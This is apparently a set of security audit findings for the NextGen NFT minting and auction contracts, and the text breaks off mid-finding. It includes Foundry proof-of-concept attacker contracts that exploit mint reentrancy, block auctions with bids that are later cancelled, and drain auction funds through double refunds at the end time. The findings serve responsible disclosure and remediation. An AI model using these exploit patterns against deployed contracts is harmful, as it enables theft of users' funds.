NextGen - ChrisTina's results

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/08a56bacd286ee52433670f3bb73a0e4a4525dd4/smart-contracts/NextGenCore.sol#L189-L200

Vulnerability details

Impact

The mint function in NextGenCore.sol doesn't follow the checks-effects-interactions pattern and can be reentered through the onERC721Received function, if the receiver is a contract.
The state variables written after the call are tokensMintedAllowlistAddress (during allowlist phase) or tokensMintedPerAddress (during public mint).

function mint(uint256 mintIndex, address _mintingAddress , address _mintTo, string memory _tokenData, uint256 _saltfun_o, uint256 _collectionID, uint256 phase) external {
    // checks
    require(msg.sender == minterContract, "Caller is not the Minter Contract");
    // effects
    collectionAdditionalData[_collectionID].collectionCirculationSupply = collectionAdditionalData[_collectionID].collectionCirculationSupply + 1;
    if (collectionAdditionalData[_collectionID].collectionTotalSupply >= collectionAdditionalData[_collectionID].collectionCirculationSupply) {

        // interactions => external call to "onERC721Received", if receiver is contract
        _mintProcessing(mintIndex, _mintTo, _tokenData, _collectionID, _saltfun_o);

        // effects
        if (phase == 1) {
            tokensMintedAllowlistAddress[_collectionID][_mintingAddress] = tokensMintedAllowlistAddress[_collectionID][_mintingAddress] + 1;
        } else {
            tokensMintedPerAddress[_collectionID][_mintingAddress] = tokensMintedPerAddress[_collectionID][_mintingAddress] + 1;
        }
    }
}

NextGenCore 189-200

As a result, it is possible to bypass the following checks and mint more tokens than allowed per address, during the public mint phase:

require(_maxAllowance >= gencore.retrieveTokensMintedALPerAddress(col, msg.sender) + _numberOfTokens, "AL limit");

MinterContract 213

and during the allowlist phase:

require(gencore.retrieveTokensMintedPublicPerAddress(col, msg.sender) + _numberOfTokens <= gencore.viewMaxAllowance(col), "Max");

MinterContract 224

Proof of Concept

This test shows that on a collection where the total supply is 50 and the maximum allowed per address during the public mint phase is 3, a single buyer could buy up all the supply.

pragma solidity ^0.8.0;

import "forge-std/Test.sol";
import "./contracts/IERC721Receiver.sol"; // OpenZeppelin IERC721Receiver interface

import {NextGenMinterContract} from "../smart-contracts/MinterContract.sol";
import {NextGenAdmins} from "../smart-contracts/NextGenAdmins.sol";
import {NextGenCore} from "../smart-contracts/NextGenCore.sol";
import {NextGenRandomizerNXT} from "../smart-contracts/RandomizerNXT.sol";
import {randomPool} from "../smart-contracts/XRandoms.sol";
import {Ownable} from "../smart-contracts/Ownable.sol";

contract TokenRecipient is IERC721Receiver, Ownable {

    NextGenMinterContract minter;
    uint256 counter;
    bytes32[] emptyBytes32Array = new bytes32[](0);


    error CallFailed(bytes returndata);

    constructor(address _minter) payable {
        minter = NextGenMinterContract(_minter);
    }
    function execute(address target, bytes calldata data) external payable onlyOwner {
        (bool success, bytes memory returndata) = target.call{value: msg.value}(data);
        if(!success) {
            revert CallFailed(returndata);
        }
    }

    function onERC721Received(
        address operator,
        address from,
        uint256 tokenId,
        bytes calldata data
    ) external returns (bytes4) {
        counter++;
        if(counter<= 49) {
            minter.mint{value: 1 ether}(1, 1, 0, "tokenData", address(this), emptyBytes32Array, address(0), 0);
        }
        return IERC721Receiver.onERC721Received.selector;
    }
}


contract Reentrancy is Test {
    address dmc = vm.addr(100); // delegation registry - just eoa because not used here
    address collArtistAddress = vm.addr(102);
    NextGenMinterContract minter;
    NextGenAdmins adminContract;
    NextGenCore nextGenCore;
    NextGenRandomizerNXT randomizer;
    randomPool xRandoms;
    uint256 tokenId;

    uint256 collectionId1 = 1;
    uint256 maxCollPurchases = 3;

    string[] emptyStringArray = new string[](0);
    bytes32 emptyBytes;
    bytes32[] emptyBytes32Array = new bytes32[](0);

    function setUp() public {
        adminContract = new NextGenAdmins();
        xRandoms = new randomPool();
        nextGenCore = new NextGenCore("name", "symbol", address(adminContract));
        randomizer = new NextGenRandomizerNXT(address(xRandoms), address(adminContract), address(nextGenCore));
        minter = new NextGenMinterContract(address(nextGenCore), dmc, address(adminContract));
        nextGenCore.addMinterContract(address(minter));

        // setup collection
        nextGenCore.createCollection("collection1", "artist1", "description", "website", "CC0", "baseURI.com", "", emptyStringArray);
        nextGenCore.setCollectionData(collectionId1, collArtistAddress, maxCollPurchases, 50, 0);
        nextGenCore.addRandomizer(collectionId1, address(randomizer));
        minter.setCollectionCosts(collectionId1, 1 ether, 0, 0, 1, 1, address(0)); // fixed price
        // no allowlist, public mint starts now and ends in 1 day
        minter.setCollectionPhases(collectionId1, block.timestamp, 0, block.timestamp, block.timestamp + 1 days, emptyBytes);
    }

    /**
    Under normal circumstances, the mint function reverts if a buyer attempts to buy more than the
    maximum allowed per address
     */
    function testFuzz_mintAboveLimitRevertsPublic(uint256 _numberOfTokens, address _buyer) public {
        vm.assume(_buyer != address(0) && _buyer != address(this));
        vm.assume(_numberOfTokens > 0 && _numberOfTokens <= 50); // totalSupply is 50
        vm.deal(_buyer, (_numberOfTokens + 3) * 1 ether);
        vm.startPrank(_buyer);
        // buyer buys 3
        minter.mint{value: 3 ether}(collectionId1, 3, 0, "tokenData", address(_buyer), emptyBytes32Array, address(0), 0);
        assertEq(nextGenCore.balanceOf(_buyer), 3);
        // reverts when buyer attempts to buy more
        vm.expectRevert();
        minter.mint{value: _numberOfTokens * 1 ether}(collectionId1, _numberOfTokens, 0, "tokenData", address(_buyer), emptyBytes32Array, address(0), 0);
        vm.stopPrank();
    }

    /**
    Buyer can mint more than 3 tokens when minting to a contract that reenters the mint function
    through the onERC721Received function
     */
    function test_ReentrancyThroughOnERC721ReceivedFunction() public {
        address buyer = vm.addr(201);
        vm.deal(buyer, 50 ether);
        vm.startPrank(buyer);
        TokenRecipient contractTokenRecipient = new TokenRecipient{value: 49 ether}(address(minter));
        contractTokenRecipient.execute{value: 1 ether}(address(minter), abi.encodeWithSelector(minter.mint.selector, collectionId1, 1, 0, "tokenData", address(contractTokenRecipient), emptyBytes32Array, address(0), 0));
        assertEq(nextGenCore.balanceOf(address(contractTokenRecipient)), 50);
        vm.stopPrank();
    }
}

Tools Used

Foundry

Recommended Mitigation Steps

The mintProcessing function, which makes the external call to onERC721Received during _safeMint, should be called at the very end of the mint function, after all the state variables are written.

    function mint(uint256 mintIndex, address _mintingAddress , address _mintTo, string memory _tokenData, uint256 _saltfun_o, uint256 _collectionID, uint256 phase) external {
        require(msg.sender == minterContract, "Caller is not the Minter Contract");
        collectionAdditionalData[_collectionID].collectionCirculationSupply = collectionAdditionalData[_collectionID].collectionCirculationSupply + 1;
        if (collectionAdditionalData[_collectionID].collectionTotalSupply >= collectionAdditionalData[_collectionID].collectionCirculationSupply) {
            if (phase == 1) {
                tokensMintedAllowlistAddress[_collectionID][_mintingAddress] = tokensMintedAllowlistAddress[_collectionID][_mintingAddress] + 1;
            } else {
                tokensMintedPerAddress[_collectionID][_mintingAddress] = tokensMintedPerAddress[_collectionID][_mintingAddress] + 1;
            }
            _mintProcessing(mintIndex, _mintTo, _tokenData, _collectionID, _saltfun_o);
        }
    }

NextGenCore 189-200

Similarly in airDropTokens and burnToMint, _mintProcessing should be called after making all state changes.

NextGenCore 178-185

NextGenCore 213-223

Other state variables in MinterContract are written after the call to the recipient contract:
collectionTotalAmount
MinterContract 238 MinterContract 272 MinterContract 366

lastMintDate
MinterContract 252 MinterContract 2296

mintToAuctionData and mintToAuctionStatus
MinterContract 297-298

This could potentially be used to bypass checks related to the time difference that is enforced between mints.

Assessed type

Reentrancy

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/08a56bacd286ee52433670f3bb73a0e4a4525dd4/smart-contracts/AuctionDemo.sol#L56-L60 https://github.com/code-423n4/2023-10-nextgen/blob/08a56bacd286ee52433670f3bb73a0e4a4525dd4/smart-contracts/AuctionDemo.sol#L123-L129 https://github.com/code-423n4/2023-10-nextgen/blob/08a56bacd286ee52433670f3bb73a0e4a4525dd4/smart-contracts/AuctionDemo.sol#L133-L142

Vulnerability details

In order to participate in an auction, a bidder has to place a bid that is higher than the current highest bid:

function participateToAuction(uint256 _tokenid) public payable {
        require(msg.value > returnHighestBid(_tokenid) && block.timestamp <= minter.getAuctionEndTime(_tokenid) && minter.getAuctionStatus(_tokenid) == true);
        auctionInfoStru memory newBid = auctionInfoStru(msg.sender, msg.value, true);
        auctionInfoData[_tokenid].push(newBid);
}

56-60

As a bidder can cancel their bid anytime before the auction ends, the first bidder can prevent others from participating in the auction by placing an absurdly high bid that they intend to cancel in the last second, making it impossible for other bidders with reasonably-priced bids to participate in the auction.

123-129

133-142

Impact

Scenario 1:

The first bidder places a very high bid, outpricing others. Just before the auction ends, the bid is cancelled.

=> The auction doesn't have a winner
=> It is impossible to restart the auction on this contract
=> attacker will have paid gas fees
=> Token will remain in the hands of the _recipient that it was airdropped to
https://github.com/code-423n4/2023-10-nextgen/blob/08a56bacd286ee52433670f3bb73a0e4a4525dd4/smart-contracts/MinterContract.sol#277

Scenario 2:

The first or a later bidder could win the auction for a cheap price by first placing a low bid and right after an absurdly high bid that they intend to withdraw later.
=> Others won't be able to participate in the auction
=> Just before the auction ends, the first bidder cancels the high bid and wins the auction for the first, very low bid.

In both cases, there is a possibility that a well-timed second bidder could win the auction by managing to place a bid after the large bid was cancelled. Either way, the token wouldn't be auctioned for a fair price.

Proof of Concept

pragma solidity ^0.8.0;

import "forge-std/Test.sol";
import {NextGenMinterContract} from "../smart-contracts/MinterContract.sol";
import {NextGenAdmins} from "../smart-contracts/NextGenAdmins.sol";
import {NextGenCore} from "../smart-contracts/NextGenCore.sol";
import {NextGenRandomizerNXT} from "../smart-contracts/RandomizerNXT.sol";
import {randomPool} from "../smart-contracts/XRandoms.sol";
import {console2} from "forge-std/console2.sol";
import {auctionDemo} from "../smart-contracts/AuctionDemo.sol";


contract BrickAuction is Test {
    address dmc = vm.addr(100); // delegation registry - just eoa because not used here
    address auctionContractOwner = vm.addr(101);
    address collArtistAddress = vm.addr(102);
    address auctionTokenRecipient = vm.addr(103);
    NextGenMinterContract minter;
    NextGenAdmins adminContract;
    NextGenCore nextGenCore;
    NextGenRandomizerNXT randomizer;
    randomPool xRandoms;
    auctionDemo auctionContract;
    uint256 tokenId;

    uint256 collectionId1 = 1;

    string[] emptyStringArray = new string[](0);
    bytes32 emptyBytes;

    function setUp() public {
        adminContract = new NextGenAdmins();
        xRandoms = new randomPool();
        nextGenCore = new NextGenCore("name", "symbol", address(adminContract));
        randomizer = new NextGenRandomizerNXT(address(xRandoms), address(adminContract), address(nextGenCore));
        minter = new NextGenMinterContract(address(nextGenCore), dmc, address(adminContract));
        nextGenCore.addMinterContract(address(minter));

        // setup first collection
        nextGenCore.createCollection("collection1", "artist1", "description", "website", "CC0", "baseURI.com", "", emptyStringArray);
        nextGenCore.setCollectionData(collectionId1, collArtistAddress, 5, 50, 0);
        nextGenCore.addRandomizer(collectionId1, address(randomizer));
        // note - timePeriod has to be set to avoid division by 0
        minter.setCollectionCosts(collectionId1, 1 ether, 0, 0, 1, 1, address(0)); // fixed price
        // no allowlist, public mint starts now and ends in 1 day
        minter.setCollectionPhases(collectionId1, block.timestamp, 0, block.timestamp, block.timestamp + 1 days, emptyBytes);

        // setup auction contract
        vm.startPrank(auctionContractOwner);
        auctionContract = new auctionDemo(address(minter), address(nextGenCore), address(adminContract));
        vm.stopPrank();
        assertEq(auctionContract.owner(), auctionContractOwner);

        // msg.sender is global admin
        minter.mintAndAuction(auctionTokenRecipient, "empty tokendata", 0, collectionId1, block.timestamp + 2 days);
        uint256 mintIndex = nextGenCore.viewTokensIndexMin(collectionId1);
        tokenId = nextGenCore.tokenOfOwnerByIndex(auctionTokenRecipient, 0);
        // token was minted to tokenRecipient
        assertEq(tokenId, mintIndex);
        assertEq(nextGenCore.totalSupply(), 1);
        assertEq(nextGenCore.balanceOf(auctionTokenRecipient), 1);
        // contract approval
        vm.startPrank(auctionTokenRecipient);
        nextGenCore.approve(address(auctionContract), tokenId);
        vm.stopPrank();
    }

    function testFuzz_Scenario1(address _secondBidder, uint256 _secondBid) public {
        vm.assume(_secondBid < 1000 ether && _secondBidder != address(0));
        address bidder1 = vm.addr(201);
        vm.deal(bidder1, 1000 ether);
        vm.startPrank(bidder1);
        auctionContract.participateToAuction{value: 1000 ether}(tokenId);
        vm.stopPrank();
        assertEq(auctionContract.returnHighestBid(tokenId), 1000 ether);
        assertEq(auctionContract.returnHighestBidder(tokenId), bidder1);
        vm.deal(_secondBidder, _secondBid);
        vm.startPrank(_secondBidder);
        vm.expectRevert();
        auctionContract.participateToAuction{value: _secondBid}(tokenId);
        vm.stopPrank();

        // bidder 1 cancels bid right before auction ends
        vm.warp(block.timestamp + 2 days);
        vm.startPrank(bidder1);
        auctionContract.cancelAllBids(tokenId);
        assertEq(bidder1.balance, 1000 ether);
        // no winner
        assertEq(auctionContract.returnHighestBid(tokenId), 0);
        vm.expectRevert("No Active Bidder");
        auctionContract.returnHighestBidder(tokenId);
    }


    function testFuzz_Scenario2(address _thirdBidder, uint256 _thirdBid) public {
        vm.assume(_thirdBid < 1000 ether && _thirdBidder != address(0));
        address bidder1 = vm.addr(201);
        vm.deal(bidder1, 1 ether);
        address bidder2 = vm.addr(202);
        vm.deal(bidder2, 1001 ether);

        vm.startPrank(bidder1);
        auctionContract.participateToAuction{value: 0.1 ether}(tokenId);
        vm.stopPrank();
          assertEq(auctionContract.returnHighestBid(tokenId), 0.1 ether);
        assertEq(auctionContract.returnHighestBidder(tokenId), bidder1);
        // bidder 2 places low bid
        vm.startPrank(bidder2);
        auctionContract.participateToAuction{value: 0.11 ether}(tokenId);
        auctionContract.participateToAuction{value: 1000 ether}(tokenId);
        vm.stopPrank();

        vm.deal(_thirdBidder, _thirdBid);
        vm.startPrank(_thirdBidder);
        vm.expectRevert();
        auctionContract.participateToAuction{value: _thirdBid}(tokenId);
        vm.stopPrank();

        // bidder 1 cancels bid right before auction ends
        vm.warp(block.timestamp + 2 days);
        vm.startPrank(bidder2);
        auctionContract.cancelBid(tokenId, 2);
        assert(bidder2.balance > 1000 ether);

        // bidder2 wins with lower bid
        assertEq(auctionContract.returnHighestBid(tokenId), 0.11 ether);
        assertEq(auctionContract.returnHighestBidder(tokenId), bidder2);
        auctionContract.claimAuction(tokenId);
        assert(nextGenCore.ownerOf(tokenId) == bidder2);
        vm.stopPrank();
    }
}

Tools used

Foundry

Recommended Mitigation Steps

Consider a change in auction style to prevent this issue, e.g.

(1) allowing bidders to participate in an auction by placing bids that are lower than the current highest bid or
(2) disallowing bidders to cancel their bids or
(3) extending the auction deadline when the highest bid gets cancelled

Consider adding a possibility to restart an auction that has ended without a bid.

Assessed type

Timing

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/08a56bacd286ee52433670f3bb73a0e4a4525dd4/smart-contracts/AuctionDemo.sol#L107 https://github.com/code-423n4/2023-10-nextgen/blob/08a56bacd286ee52433670f3bb73a0e4a4525dd4/smart-contracts/AuctionDemo.sol#L115-L119

Vulnerability details

An auction can already be claimed if the current block.timestamp is equal to the auctionEndTime. However, at that point the auction is still active: new bids can still be placed and old bids can still be cancelled.

require(block.timestamp >= minter.getAuctionEndTime(_tokenid) && auctionClaim[_tokenid] == false && minter.getAuctionStatus(_tokenid) == true);

107

This condition can be exploited in several ways, if the auctionEndTime happens to fall exactly on the time when the new block is produced (block.timestamp == minter.getAuctionEndTime(_tokenid)), leading to a loss of fund for other bidders.

Impact

Scenario 1

An attacker could make use of the fact that
(1) when an auction is claimed, the non-winning bids are refunded without their status being set to false.
(2) unsuccessful ETH transfers to previous bidders or the owner fail silently without reverting

else if (auctionInfoData[_tokenid][i].status == true) {
    (bool success, ) = payable(auctionInfoData[_tokenid][i].bidder).call{value: auctionInfoData[_tokenid][i].bid}("");
    emit Refund(auctionInfoData[_tokenid][i].bidder, _tokenid, success, highestBid);
}

115-119
Because of that, it is possible to get a bid refunded twice, first through the claimAuction function and then again through the cancelBid / cancelAllBids functions.
As the first bidders get refunded first and also before the owner is paid, the attacker places a couple of non-winning bids early through a contract with a malicious receive ether function.
He then wins the auction through a second account and claims it exactly at the auctionEndTime. When the non-winning bids are refunded, the receive function calls into cancelAllBids, allowing the attacker to drain (all, if a lot of low bids) ETH from the contract.

By using a second contract that places the winning bet only if block.timestamp matches the auctionEndTime, the attack can be performed in a practically riskless way, as the non-winning bets would get refunded otherwise.

Scenario 2

If there are additional funds in the auction contract from other auctions, the auction winner can claim the auction and cancel their winning bid at the same time, receiving the token for free at the expense of bidders on other auctions.

Scenario 3

Last second bidders won't get refunded if they place a bid after the auction has already been claimed.
=> ETH stuck in contract

Proof of Concept

pragma solidity ^0.8.0;

import "forge-std/Test.sol";
import "./contracts/IERC721Receiver.sol"; // OpenZeppelin IERC721Receiver interface

import {NextGenMinterContract} from "../smart-contracts/MinterContract.sol";
import {NextGenAdmins} from "../smart-contracts/NextGenAdmins.sol";
import {NextGenCore} from "../smart-contracts/NextGenCore.sol";
import {NextGenRandomizerNXT} from "../smart-contracts/RandomizerNXT.sol";
import {randomPool} from "../smart-contracts/XRandoms.sol";
import {auctionDemo} from "../smart-contracts/AuctionDemo.sol";
import {Ownable} from "../smart-contracts/Ownable.sol";

contract Attacker is IERC721Receiver, Ownable {

    error CallFailed(bytes returndata);
    auctionDemo auctionContract;
    uint256 tokenId_;
    uint256 index;
    uint256 counter;

    constructor(address _auctionContract) {
        auctionContract = auctionDemo(_auctionContract);
    }

    function setData(uint256 _tokenId, uint256 highestBidIndex) external onlyOwner {
        tokenId_ = _tokenId;
        index = highestBidIndex;
    }

    function execute(address target, bytes calldata data) external payable onlyOwner {
        (bool success, bytes memory returndata) = target.call{value: msg.value}(data);
        if(!success) {
            revert CallFailed(returndata);
        }
    }

    function onERC721Received(
        address operator,
        address from,
        uint256 tokenId,
        bytes calldata data
    ) external pure returns (bytes4) {
        return IERC721Receiver.onERC721Received.selector;
    }

    receive() external payable {
        if (msg.sender == address(auctionContract)) {
            if(index == counter) { // wait for all bids to be refunded, then call cancelAllBids
                auctionContract.cancelAllBids(tokenId_);
            }
            counter++;
        }
    }
}

contract Attacker2 is IERC721Receiver, Ownable {

    error CallFailed(bytes returndata);

    auctionDemo auctionContract;

    constructor(address _auctionContract) {
        auctionContract = auctionDemo(_auctionContract);
    }

    function winAuction(uint256 tokenId_, uint256 winningTimeStamp_) external payable onlyOwner {
        if(block.timestamp == winningTimeStamp_) {
            auctionContract.participateToAuction{value: msg.value}(tokenId_);
            auctionContract.claimAuction(tokenId_);
        }
    }

    function execute(address target, bytes calldata data) external payable onlyOwner {
        (bool success, bytes memory returndata) = target.call{value: msg.value}(data);
        if(!success) {
            revert CallFailed(returndata);
        }
    }
    function onERC721Received(
        address operator,
        address from,
        uint256 tokenId,
        bytes calldata data
    ) external pure returns (bytes4) {
        return IERC721Receiver.onERC721Received.selector;
    }
}




contract AuctionTiming is Test {
    address dmc = vm.addr(100); // delegation registry - just eoa because not used here
    address auctionContractOwner = vm.addr(101);
    address collArtistAddress = vm.addr(102);
    address auctionTokenRecipient = vm.addr(103);
    NextGenMinterContract minter;
    NextGenAdmins adminContract;
    NextGenCore nextGenCore;
    NextGenRandomizerNXT randomizer;
    randomPool xRandoms;
    auctionDemo auctionContract;
    uint256 tokenId;

    uint256 collectionId1 = 1;
    uint256 collectionId2 = 2;

    string[] emptyStringArray = new string[](0);
    bytes32 emptyBytes;

    function setUp() public {
        adminContract = new NextGenAdmins();
        xRandoms = new randomPool();
        nextGenCore = new NextGenCore("name", "symbol", address(adminContract));
        randomizer = new NextGenRandomizerNXT(address(xRandoms), address(adminContract), address(nextGenCore));
        minter = new NextGenMinterContract(address(nextGenCore), dmc, address(adminContract));
        nextGenCore.addMinterContract(address(minter));

        // setup first collection
        nextGenCore.createCollection("collection1", "artist1", "description", "website", "CC0", "baseURI.com", "", emptyStringArray);
        nextGenCore.setCollectionData(collectionId1, collArtistAddress, 5, 50, 0);
        nextGenCore.addRandomizer(collectionId1, address(randomizer));
        // note - timePeriod has to be set to avoid division by 0
        minter.setCollectionCosts(collectionId1, 1 ether, 0, 0, 1, 1, address(0)); // fixed price
        // no allowlist, public mint starts now and ends in 1 day
        minter.setCollectionPhases(collectionId1, block.timestamp, 0, block.timestamp, block.timestamp + 1 days, emptyBytes);

        // setup auction contract
        vm.startPrank(auctionContractOwner);
        auctionContract = new auctionDemo(address(minter), address(nextGenCore), address(adminContract));
        vm.stopPrank();
        assertEq(auctionContract.owner(), auctionContractOwner);

        // msg.sender is global admin
        minter.mintAndAuction(auctionTokenRecipient, "empty tokendata", 0, collectionId1, block.timestamp + 2 days);
        uint256 mintIndex = nextGenCore.viewTokensIndexMin(collectionId1);
        tokenId = nextGenCore.tokenOfOwnerByIndex(auctionTokenRecipient, 0);
        // token was minted to tokenRecipient
        assertEq(tokenId, mintIndex);
        assertEq(nextGenCore.totalSupply(), 1);
        assertEq(nextGenCore.balanceOf(auctionTokenRecipient), 1);
        // contract approval
        vm.startPrank(auctionTokenRecipient);
        nextGenCore.approve(address(auctionContract), tokenId);
        vm.stopPrank();
    }

    function test_Scenario1() public {
        address attacker = vm.addr(201);
        vm.deal(attacker, 28.5 ether);

        // attacker participates in auction by placing a couple of lower bids as first bidder (total of 20.5 ETH)
        // via attackerContract with malicious receive function

        vm.startPrank(attacker);
        Attacker attackerContract = new Attacker(address(auctionContract));
        attackerContract.execute{value: 1 ether}(address(auctionContract), abi.encodeWithSelector(auctionContract.participateToAuction.selector, tokenId));
        attackerContract.execute{value: 2 ether}(address(auctionContract), abi.encodeWithSelector(auctionContract.participateToAuction.selector, tokenId));
        attackerContract.execute{value: 3 ether}(address(auctionContract), abi.encodeWithSelector(auctionContract.participateToAuction.selector, tokenId));
        attackerContract.execute{value: 4 ether}(address(auctionContract), abi.encodeWithSelector(auctionContract.participateToAuction.selector, tokenId));
        attackerContract.execute{value: 5 ether}(address(auctionContract), abi.encodeWithSelector(auctionContract.participateToAuction.selector, tokenId));
        attackerContract.execute{value: 5.5 ether}(address(auctionContract), abi.encodeWithSelector(auctionContract.participateToAuction.selector, tokenId));

        vm.stopPrank();


        // other bids are placed => total of 12.5 ETH in contract that don't belong to attacker
        address bidder2 = vm.addr(202);
        vm.deal(bidder2, 6 ether);
        vm.startPrank(bidder2);
        auctionContract.participateToAuction{value: 6 ether}(tokenId);
        vm.stopPrank();

        address bidder3 = vm.addr(203);
        vm.deal(bidder3, 6.5 ether);
        vm.startPrank(bidder3);
        auctionContract.participateToAuction{value: 6.5 ether}(tokenId);
        vm.stopPrank();

        assertEq(auctionContract.returnHighestBid(tokenId), 6.5 ether);
        assertEq(auctionContract.returnHighestBidder(tokenId), bidder3);

        // setup second contract
        uint256 auctionEndTimeStamp = minter.getAuctionEndTime(tokenId);
        uint256 highestIndex = 5; // highest bid index
        vm.startPrank(attacker);
        attackerContract.setData(tokenId, highestIndex);
        Attacker2 attackerContract2 = new Attacker2(address(auctionContract));

        // balance of attacker before ending the auction
        uint256 balanceAttacker = attacker.balance;
        assertEq(balanceAttacker, 8 ether);
        uint256 balanceAttackerContract = address(attackerContract).balance;
        assertEq(balanceAttackerContract, 0);
        uint256 balanceAttackerContract2 = address(attackerContract2).balance;
        assertEq(balanceAttackerContract2, 0);

        // place winning bid via second contract, only if block.timestamp == auctionEndtime
        // right after last bid is placed, attackerContract2 claims auction
        vm.warp(block.timestamp + 2 days);
        attackerContract2.winAuction{value: 8 ether}(tokenId, auctionEndTimeStamp);
        vm.stopPrank();
        // end auction - attacker has been transferred the  NFT
        assertEq(nextGenCore.ownerOf(tokenId), address(attackerContract2));
        // and gained 12.5 ether
        uint256 balAttackerContract1 = address(attackerContract).balance;
        uint256 balAttackerContract2 = address(attackerContract2).balance;
        uint256 balAttacker = attacker.balance;
        assertEq(balAttackerContract1 + balAttackerContract2 + balAttacker, 41 ether);
        assertEq(address(auctionContract).balance, 0);
    }

    function test_Scenario2() public {
        // setup second collection
        nextGenCore.createCollection("collection2", "artist2", "description", "website", "CC0", "baseURI.com", "", emptyStringArray);
        nextGenCore.setCollectionData(collectionId2, collArtistAddress, 5, 50, 0);
        nextGenCore.addRandomizer(collectionId2, address(randomizer));
        minter.setCollectionCosts(collectionId2, 1 ether, 0, 0, 1, 1, address(0)); // fixed price
        minter.setCollectionPhases(collectionId2, block.timestamp, 0, block.timestamp, block.timestamp + 1 days, emptyBytes);
        // auction token of second collection
        // there are 3 ether in the contract from a second auction
        minter.mintAndAuction(auctionTokenRecipient, "empty tokendata", 0, collectionId2, block.timestamp + 5 days);
        uint256 tokenId2 = nextGenCore.tokenOfOwnerByIndex(auctionTokenRecipient, 1);
        vm.startPrank(auctionTokenRecipient);
        nextGenCore.approve(address(auctionContract), tokenId2);
        vm.stopPrank();
        address bidder2 = vm.addr(202);
        vm.deal(bidder2, 3 ether);
        vm.startPrank(bidder2);
        auctionContract.participateToAuction{value: 3 ether}(tokenId2);
        vm.stopPrank();


        address bidder1 = vm.addr(201);
        vm.deal(bidder1, 3 ether);
        uint256 ownerBalanceBefore = auctionContractOwner.balance;
        // bidder 1 places winning bid with value of 3 ether
        vm.startPrank(bidder1);
        auctionContract.participateToAuction{value: 3 ether}(tokenId);
        uint256 bidder1BalanceAfterBidding = bidder1.balance;
        console.log("1", bidder1BalanceAfterBidding);

        assertEq(auctionContract.returnHighestBid(tokenId), 3 ether);
        assertEq(auctionContract.returnHighestBidder(tokenId), bidder1);
        assertEq(address(auctionContract).balance, 6 ether);

        // at the auctionEndTime, winner claims bid
        vm.warp(block.timestamp + 2 days);
        auctionContract.claimAuction(tokenId);

        // token was transferred to auction winner
        assertEq(nextGenCore.ownerOf(tokenId), bidder1);
        // winner's bid was transferred to auctionTokenRecipient
        uint256 ownerBalanceAfter = auctionContractOwner.balance;
        assertEq(ownerBalanceAfter, ownerBalanceBefore + 3 ether);
        // at the same timestamp, the winner can still cancel his bid
        auctionContract.cancelAllBids(tokenId);
        vm.stopPrank();
        // bid was refunded
        uint256 bidder1BalanceAfterCancelling = bidder1.balance;
        assertEq(bidder1BalanceAfterCancelling, bidder1BalanceAfterBidding + 3 ether);
        // assert auction contract now holds 0 funds, even though the second auction is still ongoing
        assertEq(address(auctionContract).balance, 0);

        // bidder on auction 2 can cancel bid, but won't be refunded
        vm.startPrank(bidder2);
        auctionContract.cancelBid(tokenId2, 0);
        uint256 bidder2BalanceAfterCancelling = bidder2.balance;
        assertEq(bidder2BalanceAfterCancelling, 0);
        // bidder2 tries to cancel again, not possible because his bid is already inactive
        vm.expectRevert();
        auctionContract.cancelBid(tokenId2, 0);
    }

    function test_Scenario3() public {
        address bidder1 = vm.addr(201);
        address bidder2 = vm.addr(202);
        vm.deal(bidder1, 1 ether);
        vm.deal(bidder2, 2 ether);
        // bidder1 places winning bid for 1 ether
        vm.startPrank(bidder1);
        auctionContract.participateToAuction{value: 1 ether}(tokenId);
        assertEq(auctionContract.returnHighestBid(tokenId), 1 ether);
        assertEq(auctionContract.returnHighestBidder(tokenId), bidder1);

        // at the auctionEndTime, winner claims bid
        vm.warp(block.timestamp + 2 days);
        auctionContract.claimAuction(tokenId);
        vm.stopPrank();
        // token was transferred to auction winner
        assertEq(nextGenCore.ownerOf(tokenId), bidder1);

        // right after, bidder 2 tries to win the auction in the very last second
        vm.startPrank(bidder2);
        auctionContract.participateToAuction{value: 2 ether}(tokenId);

        // the auction has now ended, but bidder2 can't claim auction as it has already been claimed
        skip(60); // skip 60 seconds
        assertEq(auctionContract.returnHighestBid(tokenId), 2 ether);
        assertEq(auctionContract.returnHighestBidder(tokenId), bidder2);
        vm.expectRevert();
        auctionContract.claimAuction(tokenId);

        // it is also not possible for bidder2 to get a refund, as auctionEndTime is over
        vm.expectRevert("Auction ended");
        auctionContract.cancelBid(tokenId, 1);
    }

}

Tools used

Foundry

Recommended Mitigation Steps

In the claimAuction function, it should be required that block.timestamp is strictly greater than the auction end time.

require(block.timestamp > minter.getAuctionEndTime(_tokenid) && auctionClaim[_tokenid] == false && minter.getAuctionStatus(_tokenid) == true);

If the ETH transfer in cancelBid or cancelAllBids fails, the bidder has no possibility to get their bid back at a later point in time, as status is set to false (128, 139).
Either should the execution revert in such a case, in which case the bid would still be active. This approach has its drawbacks too, especially the claimAuction function would be vulnerable to a DOS attack if it reverts every time an ETH transfer to any bidder fails. Alternatively, if the call is not successful the amount could be stored in a mapping with a possibility for the bidder to withdraw later, for example:

mapping(address bidder => uint256 failedWithdrawalAmount) addressCanWithdraw;

function cancelBid(uint256 _tokenid, uint256 index) public {
    require(block.timestamp <= minter.getAuctionEndTime(_tokenid), "Auction ended");
    require(auctionInfoData[_tokenid][index].bidder == msg.sender && auctionInfoData[_tokenid][index].status == true);
    auctionInfoData[_tokenid][index].status = false;
    (bool success, ) = payable(auctionInfoData[_tokenid][index].bidder).call{value: auctionInfoData[_tokenid][index].bid}("");

    // if transfer fails, add amount to addressCanWithdraw
    if(!success) {
        addressCanWithdraw[msg.sender] += auctionInfoData[_tokenid][index].bid;
    }

    emit CancelBid(msg.sender, _tokenid, index, success, auctionInfoData[_tokenid][index].bid);
}

// add a withdraw function where bidder can set a different payout address
function withdraw(address _to) external {
    uint256 amount = addressCanWithdraw[msg.sender];
    addressCanWithdraw[msg.sender] = 0;
    require (amount > 0);
    if(_to == address(0)) {
        _to = msg.sender;
    }
    (bool success, ) = _to.call{value: amount}("");
    if(!success) {
        revert;
    }
}

After a bid is refunded in the claimAuction function, the status should be set to false 115-119

Assessed type

Timing

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/08a56bacd286ee52433670f3bb73a0e4a4525dd4/smart-contracts/AuctionDemo.sol#L111

Vulnerability details

Impact

If the winning bidder bids through a contract, safeTransferFrom will revert if the bidder contract doesn't have an onERC721Received function or doesn't respond with the correct selector. In this case, the previous bidders won't receive a refund and the owner won't receive the highestBid => ETH stuck in contract

